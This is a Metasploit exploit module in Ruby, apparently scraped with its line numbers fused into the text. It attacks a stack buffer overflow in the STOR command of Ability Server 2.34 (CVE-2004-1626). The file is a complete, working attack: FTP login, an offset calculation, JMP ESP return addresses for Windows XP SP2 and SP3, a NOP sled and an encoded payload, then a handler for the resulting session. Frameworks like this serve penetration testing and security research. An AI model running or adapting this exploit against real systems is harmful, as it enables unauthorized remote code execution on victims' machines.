Path: blob/master/modules/exploits/windows/ftp/ability_server_stor.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Ability Server 2.34 STOR Command Stack Buffer Overflow',15'Description' => %q{16This module exploits a stack-based buffer overflow in Ability Server 2.34.17Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,18which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.1920The vulnerability has been confirmed on version 2.34 and has also been reported21in version 2.25 and 2.32. Other versions may also be affected.22},23'Author' => [24'muts', # Initial discovery25'Dark Eagle', # same as muts26'Peter Osterberg' # Metasploit27],28'License' => MSF_LICENSE,29'References' => [30[ 'CVE', '2004-1626' ],31[ 'OSVDB', '11030'],32[ 'EDB', '588'],33],34'DefaultOptions' => {35'EXITFUNC' => 'process'36},37'Privileged' => false,38'Payload' => {39'Space' => 1000,40'BadChars' => "\x00\xff"41},42'Platform' => 'win',43'Targets' => [44[45'Windows XP SP2 ENG',46{47# JMP ESP (MFC42.dll. Addr remains unchanged until a patched SP3)48'Ret' => 0x73E32ECF,49'Offset' => 96650}51],52[53'Windows XP SP3 ENG',54{55# JMP ESP (USER32.dll. Unchanged unpatched SP3 - fully pathced)56'Ret' => 0x7E429353,57'Offset' => 96658}59],60],61'DisclosureDate' => '2004-10-22',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options(71[72Opt::RPORT(21),73OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftp' ], fallbacks: ['USERNAME']),74OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftp' ], fallbacks: ['PASSWORD'])75]76)77end7879def check80connect81disconnect82if banner =~ /Ability Server 2\.34/83return Exploit::CheckCode::Appears84else85if banner =~ /Ability Server/86return Exploit::CheckCode::Detected87end88end8990return Exploit::CheckCode::Safe91end9293def exploit94c = connect_login95return if not c9697myhost = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']9899# Take client ip + ftp user lengths into account for EIP offset100padd_size = target['Offset'] + (13 - myhost.length) + (3 - datastore['FTPUSER'].length)101junk = rand_text_alpha(padd_size)102103sploit = junk104sploit << [target.ret].pack('V')105sploit << make_nops(32)106sploit << payload.encoded107sploit << rand_text_alpha(sploit.length)108109send_cmd(['STOR', sploit], false)110handler111disconnect112end113end114115116